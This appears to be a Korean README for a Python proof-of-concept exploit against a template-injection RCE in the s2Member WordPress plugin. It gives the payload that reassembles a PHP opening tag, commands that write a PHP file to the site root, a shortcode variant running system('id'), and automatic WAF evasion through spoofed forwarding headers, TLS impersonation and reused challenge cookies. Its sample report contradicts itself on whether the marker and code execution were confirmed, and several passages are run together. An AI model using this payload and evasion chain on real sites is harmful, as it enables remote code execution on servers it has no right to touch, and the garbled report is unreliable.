
CVE-2026-86596 s2Member <= 260927 템플릿 인젝션 PoC (실습 환경, IPN 검증 필요)
s2Member <= 260927 템플릿 주입 RCE에 대한 단일 파일 Python PoC입니다.
취약한 코드:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
페이로드:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep()는 리터럴 <?가 없기 때문에 이를 그대로 둡니다.
%%item_name%% 치환이 이를 삽입하고, 최종 %%(.+?)%% 정리가
%%x%%를 제거하여 유효한 <?php 여는 태그를 남깁니다.
python3 poc.py https://wordpress.lab
전체 흐름은 다음과 같습니다:
@thiscitze가 포함된 cve_test.php를 작성,https://wordpress.lab/cve_test.php를 가져와 마커를 검증합니다.보호된 게시물/페이지 ID가 1이 아닌 경우:
python3 poc.py https://wordpress.lab --item-number 123
.php가 차단된 경우, 일반 텍스트 마커를 작성하세요:
python3 poc.py https://wordpress.lab --filename cve_test.txt
사이트에서 프록시 검증 키를 사용하는 경우:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
간결한 보고서:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
보고서는 세 가지 개별 질문에 답합니다:
RCE: NOT CONFIRMED는 HTTP 상태가 200이었더라도 스크립트가 코드 실행을 입증하지 못했음을 의미합니다.
stdout이 TTY일 때 색상이 켜집니다. --color always로 강제하거나 --color never로 비활성화할 수 있습니다.
대상이 WAF/챌린지 뒤에 있는 경우, 스크립트는 포기하기 전에 자동으로 요청 형태 변형을 시도합니다:
multipart/form-dataitem_name (정상 + 페이로드)item_name을 포함한 multipart/form-dataX-Forwarded-For / X-Real-IP / CF-Connecting-IP 스푸핑 헤더curl_cffi 브라우저 TLS 임퍼소네이션 (pip install curl_cffi)--http-proxy가 주어진 경우 HTTP 프록시선택적 제어:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion은 자동 변형을 비활성화합니다. JS 챌린지는 여전히 실제 브라우저 세션 또는 PayPal 출처의 IPN을 요구할 수 있으며, 헤더 트릭이 우회를 보장하지는 않습니다.
WordPress 루트에 테스트 파일을 작성하고 확인합니다:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
페이로드는 다음을 포함하는 cve_test.php를 작성합니다:
<?php echo "@thiscitze"; ?>
.php가 차단되었거나 필요하지 않은 경우, 대신 일반 텍스트 마커를 작성하세요:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
파일은 ABSPATH(WordPress 파일시스템 루트)에 기록됩니다. WordPress가
하위 디렉터리에 설치되어 있다면 --test-url을 그에 맞게 조정하세요.
python3 poc.py --simulate
예상:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
Shortcode 변형:
python3 poc.py --simulate --shortcode --command "system('id');"
이렇게 하면 [s2If php="system('id');"]가 생성되며, 템플릿이 do_shortcode() / [s2If php] 싱크에 도달하면 실행됩니다.
python3 poc.py --check https://wordpress.lab
readme.txt 또는 s2member.php를 읽고 버전을 260927 / 261001과 비교합니다.
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2Member는 PayPal(POST back) 또는 프록시 검증 키를 사용하여 IPN을 검증합니다. 직접 위조된 POST는 일반적으로 거부됩니다. 실습 환경에서는:
item_name이 페이로드인 실제 PayPal 샌드박스 IPN을 사용하거나,python3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
스크립트는 HTTP 응답을 출력하고 대상이 검증을 거부한 경우 경고합니다.
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
페이지를 가져와 페이로드가 에코하는 CVE-2026-86596을 검색합니다.
이는 추적 코드 / 숏코드 싱크가 IPN 이후에 렌더링되는 경우에 유용합니다.
custom은 사이트 호스트명으로 시작해야 합니다(또는 skip_ipn_domain_validation이
활성화되어 있어야 함).item_number.do_shortcode() / [s2If php=...]로 렌더링되는
추적 코드, 또는 알림 템플릿을 eval하는 커스텀 통합. 기본 일반 이메일 본문 자체는
wp_mail을 통해 전송되며 eval되지 않습니다.s2Member 261001 이상으로 업데이트하세요(현재: 261017). 수정 사항은
순차적 보간을 fill_paypal_template_once()로 대체하고 추적 대상을
[A-Za-z0-9 @._-]로 정제합니다.
PR:N)는 미인증을 나타냅니다. 패치 우선순위 측면에서는 원격/미인증으로
간주하되, 설정에서 IPN/프록시 요구 사항을 검증하세요.